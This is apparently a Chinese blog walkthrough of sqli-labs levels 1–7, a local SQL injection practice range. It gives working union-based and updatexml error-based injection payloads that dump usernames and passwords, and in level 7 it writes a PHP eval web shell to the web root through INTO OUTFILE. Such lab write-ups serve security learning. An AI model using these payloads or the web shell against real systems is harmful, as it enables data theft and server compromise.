SQL注入之sqli-labs(less1-7)


注:靶场基本上每一关的目标都是拿到数据库的用户名和密码。

Less-1

打开第一关看到如下页面,“Dhakkan”是印度俚语,意思是愚蠢的人,页面提示让我们输入ID值作为参数。
在这里插入图片描述
id=1时页面如下:

http://127.0.0.1/sqli-labs-master/Less-1/?id=1

在这里插入图片描述
我们尝试不同的id值,发现login name和password的值也在变化,说明页面与数据库在进行交互。任何与数据库产生交互的地方,都有可能存在注入。
尝试id=1’,页面提示我们的语法有错:
在这里插入图片描述
尝试id=1",页面无误:
在这里插入图片描述
此时我们猜测参数id被单引号包裹。因为当id被单引号包裹时,如果id=1’,那么1后面的单引号会与第一个单引号闭合,形成一个完成的单引号,最后一个单引号多余出来产生错误;如果id=1",那么双引号会被当成参数的一部分执行,不产生错误。我们猜测这两种情况下页面执行的SQL语句如下:

id=1'时:select * from tablename where id='1'';
id=1"时:select * from tablename where id='1"';

如果我们将SQL语句中的单引号闭合,然后注释后面的内容,就可以插入我们想执行的代码。

MYSQL中有三个注释符:
--+      单行注释符
#        单行注释符
/**/     多行注释符

然后我们用联合查询注入获取数据库中的数据。在进行联合查询前,我们必须知道当前表的字段数。因为联合查询中,使用union select拼接查询语句时,前后两个select返回的字段数必须相同,否则无法拼接。
使用order by可以判断表中的字段数。在mysql中,order by原本的用途是排序:order by+列名表示查询结果按照这个字段进行重新排序;order by+数字表示查询结果按照表中第几个字段重新排序。利用这一特性,可以查询表中的字段数:如果order by 1-3均无错而order by 4错误,那么该表有3个字段。如下图所示:

?id=1' order by 3--+
?id=1' order by 4--+

在这里插入图片描述
在这里插入图片描述
由此可以判断表中有3个字段。
然后判断显示位,即能够注入出数据的地方。
id=-1’是原因:有时网页往往只能回显一行数据,所以我们要让前面第一个select语句的返回值为空,才能让后面的第二个select语句回显出数据。

?id=-1' union select 1,2,3--+

在这里插入图片描述
由图可知2和3是回显位,说明注入语句可以在2或3的位置。现在可以进行联合查询了:
查询当前数据库:

?id=-1' union select 1,database(),3--+

在这里插入图片描述
当前数据库名为security。
查询表名:

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

在这里插入图片描述
共有四张表:emails,referers,uagents,users。

注:
1.MYSQL在5.0版本后会多出一张系统数据库(information_schema),里面记录了所有其他数据库的元数据。
2.group_concat()函数作用是将多条数据合并显示为一条。

在这里插入图片描述
查询字段名:

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+

在这里插入图片描述
发现有username和password字段,然后查询这两个字段的值:

查询username:
?id=-1' union select 1,group_concat(username),3 from security.users--+
查询password:
?id=-1' union select 1,group_concat(password),3 from security.users--+

在这里插入图片描述
在这里插入图片描述
拿到数据库的用户名和密码,第一关结束。

Less-2

第二关和第一关差不多,只不过第一关是字符串注入,第二关是数字型注入。
分别输入id=1、id=1’、id=1"是,页面显示无错、错误、错误,说明参数没有被符号包裹,我们猜测为数字型注入。
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
判断表的字段数:

?id=1 order by 3--+
?id=1 order by 4--+

在这里插入图片描述
在这里插入图片描述

判断回显位:

?id=-1 union select 1,2,3--+

在这里插入图片描述
回显位为2和3。
查询当前数据库:

?id=-1 union select 1,database(),3 from information_schema.tables--+

在这里插入图片描述
剩余步骤与第一关差不多:

查询当前数据库:
?id=-1 union select 1,database(),3 from information_schema.tables--+
查询表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查询字段名:
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+
查询用户名:
?id=-1 union select 1,group_concat(username),3 from security.users--+
查询密码:
?id=-1 union select 1,group_concat(password),3 from security.users--+

Less-3

id=1和id=1"是都为无错,id=1’时页面错误,并且提示"1") LIMIT 0,1’处有语法错误,我们发现参数还被括号包裹,那么我们闭合它。
在这里插入图片描述
判断字段数:

?id=1') order by 3--+
?id=1') order by 4--+

在这里插入图片描述
判断回显位:

?id=-1') union select 1,2,3--+

在这里插入图片描述
回显位为2和3。
剩余步骤和上一关差不多:

查询当前数据库:
?id=-1') union select 1,database(),3 from information_schema.tables--+
查询表名
?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查询字段名:
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+
查询用户名:
?id=-1') union select 1,group_concat(username),3 from security.users--+
查询密码:
?id=-1') union select 1,group_concat(password),3 from security.users--+

Less-4

id=1和id=1’是都为无错,id=1"时页面错误,并且提示’“1"”) LIMIT 0,1’处有语法错误,我们发现参数被括号包裹,并且单引号变成了双引号。
在这里插入图片描述
判断字段数:

?id=1") order by 3--+
?id=1") order by 4--+

判断回显位:

?id=-1") union select 1,2,3--+

剩余步骤和上一关差不多:

查询当前数据库:
?id=-1") union select 1,database(),3 from information_schema.tables--+
查询表名
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
查询字段名:
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security'--+
查询用户名:
?id=-1") union select 1,group_concat(username),3 from security.users--+
查询密码:
?id=-1") union select 1,group_concat(password),3 from security.users--+

Less-5

和前几关一样,分别输入id=1,id=1’,id=1",我们发现,id=1和id=1"时页面只有You are in…,id=1’时页面报错。
在这里插入图片描述
在这里插入图片描述
我们仍然闭合,尝试使用联合查询确定回显位。

?id=-1' union select 1,2,3--+

在这里插入图片描述
页面仍然显示You are in…,说明这里用不了联合查询注入,我们尝试报错注入。
报错注入即通过特殊函数的错误使用使其参数被页面输出;前提:页面可以报错。
这里使用函数updatexml():

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称;
第二个参数:XPath_string (Xpath格式的字符串);
第三个参数:new_value,String格式,替换查找到的符合条件的数据;

该函数对XPath_string进行查询操作,如果符合语法格式要求,则用第三个参数替换,不符合语法格式要求,则会报错并带出查询的结果;
在xpath语法中, “~” 是非法字符,所以可以用 “~” 构造报错,0x7e是“ ~ ”的十六进制;
函数查询出的结果显示长度限制为32位,如果超出显示长度需要使用left()right()函数,或使用substr()或者limit来分割输出,分多次输出;
concat()函数为字符串连接函数,显然不符合规则,但是会将括号内的执行结果以错误的形式报出;
concat函数作用和group_concat有点类似,起到连接多个字符串的作用;

查询数据库名:

?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述
查询表名:

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

在这里插入图片描述
查询字段名:

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+

在这里插入图片描述
查询用户名和密码:

?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+

在这里插入图片描述
在这里插入图片描述

Less-6

这一关也为报错注入,只不过单引号变成了双引号。
id=1’时无错,id=1"时报错,构造payload查询数据库名:

?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述

查询表名:
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+
查询字段名:
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'),0x7e),1)--+
查询用户名和密码:
?id=1" and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
?id=1" and updatexml(1,concat(0x7e,(select group_concat(password) from security.users),0x7e),1)--+

Less-7

id=1和id=1"不报错,id=1’报错,说明参数被单引号包裹。
在这里插入图片描述
在这里插入图片描述
尝试闭合单引号,仍然报错。

?id=1'--+

在这里插入图片描述
猜测被括号包裹,发现多尝试几次可以闭合。

?id=1'))--+

在这里插入图片描述
判断字段数:
在这里插入图片描述
在这里插入图片描述
判断回显位(联合查询注入):
在这里插入图片描述
从以上可以看出页面只会显示正确,报错没有错误信息,没有显示位,因此这里不能用联合查询注入和报错注入。
查看源码php文件,关键代码如下:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font color= "#FFFF00">';	
  	echo 'You are in.... Use outfile......';
  	echo "<br>";
  	echo "</font>";
  	}
	else 
	{
	echo '<font color= "#FFFF00">';
	echo 'You have an error in your SQL syntax';
	//print_r(mysql_error());
	echo "</font>";  
	}
}
	else { echo "Please input the ID as parameter with numeric value";}

当查询结果为真实,网页输出You are in… Use outfile…,否则输出You have an error in your SQL syntax,并且代码中注释了数据库的报错信息。网页提示Use outfile,我们尝试用outfile写入一句话木马,但是有两个前提条件:有写入权限,知道网站在服务器上的绝对路径。网站的绝对路径可以在前面有回显的题中得到。
获取网站绝对路径:

?id=-1 union select 1,@@basedir,@@datadir
basedir()指定了安装MYSQL的安装路径
datadir()指定了安装MYSQL的数据文件路径

在这里插入图片描述
写入一句话木马:

?id=-1')) union select 1,2,'<?php @eval($_POST["admin"]);?>'into outFile"F:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\hack.php"--+

注入:写入的绝对路径要用反双斜杠,否则会写入不成功。

在这里插入图片描述
这里显示语法错误,不用管,直接用蚁剑连接。
(我不知道为什么写不进文件,也连不上蚁剑和菜刀,如果有哪位大佬知道是怎么回事,可以在评论区告诉我一下,十分感谢!)

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值